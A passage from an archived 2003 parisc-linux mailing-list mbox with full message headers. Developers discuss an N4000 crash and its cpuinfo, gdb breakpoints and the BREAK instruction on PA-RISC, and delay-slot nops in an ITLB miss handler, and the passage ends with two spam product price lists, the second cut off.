cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/N4000-55
model name      : Unknown machine
hversion        : 0x00005d30
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1097.72
software id     : 664309341

processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/N4000-55
model name      : Unknown machine
hversion        : 0x00005d30
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1097.72
software id     : 664309341


I so go back to the system to recover my laptop grabing console logs (via
the lan console) and when I lost there was still thousand of messages flushing
on the serial console.

Back to my desk (about 10 minutes later) the system was unfortunaltely down.
The screen console was just black. After a requested reset of GSP I could
just read some messages as above but no HPMC (I know that couldn't be significant)
and I have no other system to let connected until crash :( and have no more
time to collect PIM right now :(( 

Any idea?

Thanks in advance,
    Joel

PS:
Q1: I never grab 'Freeing  unused kernel memory:...' during this test?

Q2: into cpuinfo (here above) I read:
...
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
...
is it right that DTLB is shared with ITLB?

-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb
 breakpoint
Date: Tue, 19 Aug 2003 12:28:38 +0200
Organization: ESIEE
Lines: 26
Approved: news@gmane.org
Message-ID: <20030819122838.2b362689.varenet@esiee.fr>
References: <3F6F4712B759A34ABD453A8B39C10D62C4670F@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622697 29738 80.91.229.3 (22 Nov 2014 02:18:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:17 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 04:28:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE560485E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 04:28:46 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h7JASdF7027083;
	Tue, 19 Aug 2003 12:28:43 +0200
In-Reply-To: <3F6F4712B759A34ABD453A8B39C10D62C4670F@bagman.edm.com>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19256

On Mon, 4 Aug 2003 14:37:13 +0400
"Lev Assinovsky" <LAssinovsky@algorithm.aelita.com> wrote:

> Hello all!
> I badly need pa-risc 1.1 instruction sequence suitable for gdb.
> I would like to implement "hard breakpoint". 
> I tried "BREAK 4,8" - gdb stops but can't continue.
> Any help will be appreciated!
> 

We've looked into this already, and as far as we could find out, there is
no hardware support for hardware breakpoints on parisc.
They'd have to be emulated.

You can take a look at what we did for kgdb by checking this page:
http://pateam.esiee.fr/kgdb.html

Anyway, as far as i know, gdb isn't really supported for hppa.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Tue, 19 Aug 2003 14:37:05 +0400
Lines: 46
Approved: news@gmane.org
Message-ID: <3F6F4712B759A34ABD453A8B39C10D62D4DA78@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622698 29746 80.91.229.3 (22 Nov 2014 02:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 04:37:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gate.algorithm.aelita.com (unknown [212.176.18.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 053DB4865
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 04:37:06 -0600 (MDT)
Original-Received: from bagman.edm.com ([10.0.0.4]) by gate.algorithm.aelita.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35)
          with ESMTP id com for <parisc-linux@lists.parisc-linux.org>;
          Tue, 19 Aug 2003 14:37:08 +0400
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Thread-Index: AcNmPKxAIKADwNLFRg+AoS0vnoDV0gAASkLg
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19257

What is BREAK instruction for?

----
Lev Assinovsky
Aelita Software Corporation
O&S Core Division, Programmer
ICQ# 165072909


> -----Original Message-----
> From: Thibaut VARENE [mailto:varenet@esiee.fr]
> Sent: Tuesday, August 19, 2003 2:29 PM
> To: Lev Assinovsky
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb
> breakpoint
>=20
>=20
> On Mon, 4 Aug 2003 14:37:13 +0400
> "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com> wrote:
>=20
> > Hello all!
> > I badly need pa-risc 1.1 instruction sequence suitable for gdb.
> > I would like to implement "hard breakpoint".=20
> > I tried "BREAK 4,8" - gdb stops but can't continue.
> > Any help will be appreciated!
> >=20
>=20
> We've looked into this already, and as far as we could find=20
> out, there is
> no hardware support for hardware breakpoints on parisc.
> They'd have to be emulated.
>=20
> You can take a look at what we did for kgdb by checking this page:
> http://pateam.esiee.fr/kgdb.html
>=20
> Anyway, as far as i know, gdb isn't really supported for hppa.
>=20
> HTH,
>=20
>=20
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>=20


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Tue, 19 Aug 2003 14:47:47 +0400
Lines: 47
Approved: news@gmane.org
Message-ID: <3F6F4712B759A34ABD453A8B39C10D62D4DA83@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622698 29754 80.91.229.3 (22 Nov 2014 02:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 04:47:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gate.algorithm.aelita.com (unknown [212.176.18.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B95C483F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 04:47:48 -0600 (MDT)
Original-Received: from bagman.edm.com ([10.0.0.4]) by gate.algorithm.aelita.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35)
          with ESMTP id com for <parisc-linux@lists.parisc-linux.org>;
          Tue, 19 Aug 2003 14:47:50 +0400
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Thread-Index: AcNmPKxAIKADwNLFRg+AoS0vnoDV0gAAogmg
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19258

Ok! But what's BREAK instruction for?
Besides gdb works for me on HPUX 11.00

----
Lev Assinovsky
Aelita Software Corporation
O&S Core Division, Programmer
ICQ# 165072909


> -----Original Message-----
> From: Thibaut VARENE [mailto:varenet@esiee.fr]
> Sent: Tuesday, August 19, 2003 2:29 PM
> To: Lev Assinovsky
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb
> breakpoint
>=20
>=20
> On Mon, 4 Aug 2003 14:37:13 +0400
> "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com> wrote:
>=20
> > Hello all!
> > I badly need pa-risc 1.1 instruction sequence suitable for gdb.
> > I would like to implement "hard breakpoint".=20
> > I tried "BREAK 4,8" - gdb stops but can't continue.
> > Any help will be appreciated!
> >=20
>=20
> We've looked into this already, and as far as we could find=20
> out, there is
> no hardware support for hardware breakpoints on parisc.
> They'd have to be emulated.
>=20
> You can take a look at what we did for kgdb by checking this page:
> http://pateam.esiee.fr/kgdb.html
>=20
> Anyway, as far as i know, gdb isn't really supported for hppa.
>=20
> HTH,
>=20
>=20
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://pateam.esiee.fr/
>=20


From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 19 Aug 2003 14:33:04 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3F2E54A800001F32@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622698 29760 80.91.229.3 (22 Nov 2014 02:18:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:18 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 06:33:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EE124871
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 06:33:07 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19p5bz-0003yv-00; Tue, 19 Aug 2003 14:29:19 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 19 Aug 2003 14:33:04 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19259

>On Thu, Aug 14, 2003 at 08:02:04AM +0200, Joel Soete wrote:
>> btw is it for that reason (interlock) that in your patch we can read:
>> [...]
>>         cmpb,=        %r0,t0,itlb_miss_...
>>         nop
>> [...]
>> I am alway asking why the 'nop'.
>
>To fill the delayed branch slot (a silly idea, but ...)

Would it be the same 'by setting the "nullify" bit' (ie cmpb,=,n ...)

Joel




-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Tue, 19 Aug 2003 14:42:06 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030819134206.GD19630@parcelfarce.linux.theplanet.co.uk>
References: <3F2E54A800001F32@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622699 29764 80.91.229.3 (22 Nov 2014 02:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Matthew Wilcox <willy@debian.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 07:42:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E11F48A4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 07:42:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19p6kQ-0007Z1-Eh; Tue, 19 Aug 2003 14:42:06 +0100
Content-Disposition: inline
In-Reply-To: <3F2E54A800001F32@ocpmta8.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19260

On Tue, Aug 19, 2003 at 02:33:04PM +0200, Joel Soete wrote:
> >On Thu, Aug 14, 2003 at 08:02:04AM +0200, Joel Soete wrote:
> >> btw is it for that reason (interlock) that in your patch we can read:
> >> [...]
> >>         cmpb,=        %r0,t0,itlb_miss_...
> >>         nop
> >> [...]
> >> I am alway asking why the 'nop'.
> >
> >To fill the delayed branch slot (a silly idea, but ...)
> 
> Would it be the same 'by setting the "nullify" bit' (ie cmpb,=,n ...)

Only if you know which direction the branch is going.  See the cmpb
description.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N running 2.4.21-pa13-64-SMP
Date: Tue, 19 Aug 2003 14:47:34 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030819134734.GE19630@parcelfarce.linux.theplanet.co.uk>
References: <3F2E54A800001E5E@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622699 29769 80.91.229.3 (22 Nov 2014 02:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 07:47:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48FFC48A9
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Aug 2003 07:47:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19p6pi-0007rp-Hv; Tue, 19 Aug 2003 14:47:34 +0100
Content-Disposition: inline
In-Reply-To: <3F2E54A800001E5E@ocpmta8.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19261

On Tue, Aug 19, 2003 at 11:39:18AM +0200, Joel Soete wrote:
> Q2: into cpuinfo (here above) I read:
> ...
> ITLB entries    : 160
> DTLB entries    : 160 - shared with ITLB
> ...
> is it right that DTLB is shared with ITLB?

Yes, that's how the PA8500 and 8600 work, at least.  We're merely
reporting how PDC tells us the processor works, not programming it
ourselves.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Tue, 19 Aug 2003 22:37:02 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20030820043702.GC24884@dsl2.external.hp.com>
References: <3F6F4712B759A34ABD453A8B39C10D62D4DA83@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622699 29773 80.91.229.3 (22 Nov 2014 02:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Lev Assinovsky <LAssinovsky@algorithm.aelita.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 19 22:37:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 116824848; Tue, 19 Aug 2003 22:37:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F6F4712B759A34ABD453A8B39C10D62D4DA83@bagman.edm.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19262

On Tue, Aug 19, 2003 at 02:47:47PM +0400, Lev Assinovsky wrote:
> Ok! But what's BREAK instruction for?

To force a trap into the kernel. That's not the same
as HW support since using break requires modifying the code stream
(remembering which instruction belonged there), flushing data-cache,
flush ins-cache, an dtrying to continue. The break's are fully
under SW control.

> Besides gdb works for me on HPUX 11.00

That's because HP has (had?) a team of folks working on the
"open source toolkit". parisc-linux hasn't been so lucky.
Alan Modra, Richard Hirst, Randolph Chung and a few others get gdb
working from time to time. But there is no dedicated maintainer
and that's what is needed.

grant


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "HY Tech" <hongkonghy@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New price list for mp3 player, digital camera, cd/vcd/mp3 player and
 USB flash drive!
Date: Thu, 21 Aug 2003 03:08:52 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20030820190847.5FD334875@dsl2.external.hp.com>
Reply-To: hongkonghy@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622699 29776 80.91.229.3 (22 Nov 2014 02:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 20 13:08:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sina.com (unknown [218.18.211.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FD334875
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Aug 2003 13:08:47 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19263

Dear valued customer,

We are a professional manufacturer of mp3 player, cd/vcd/mp3 player, digital camera and USB 
flash drive in Shenzhen, China.

Please see the price of some products:
mp3 player with digital recorder and USB flash drive
64M 39USD      128M   52USD

cd/vcd/mp3 player (3 function in 1)
21.5USD

digital camera
300K pixels  15.5USD      1.3M pixels    24USD

USB flash drive
64M  17.9USD       128M  29.9USD      256M  54.9USD     

If you have interest, please contacut us and we will give you the detailed catalogue and price 
list. 

We always try our best to attract our clients with unbeatable prices and quality. Our goal is 
to treat every client the same as the most potential business partner.So however the client is 
big or small,we offer the best service. 

Any question, please contact me at any time.
 
Have a nice day!

Best Regards,

Frank Ho
General Manager
HY Technology (Hong Kong) Company Ltd.


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "HY Tech" <technology_hy@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New price list for mp3 player, digital camera, cd/vcd/mp3 player and
 USB flash drive!
Date: Thu, 21 Aug 2003 03:10:30 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20030820191025.53FAA4875@dsl2.external.hp.com>
Reply-To: technology_hy@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622700 29782 80.91.229.3 (22 Nov 2014 02:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 20 13:10:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sina.com (unknown [218.18.211.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53FAA4875
	for <parisc-linux@parisc-linux.org>; Wed, 20 Aug 2003 13:10:25 -0600 (MDT)
X-Priority: 3
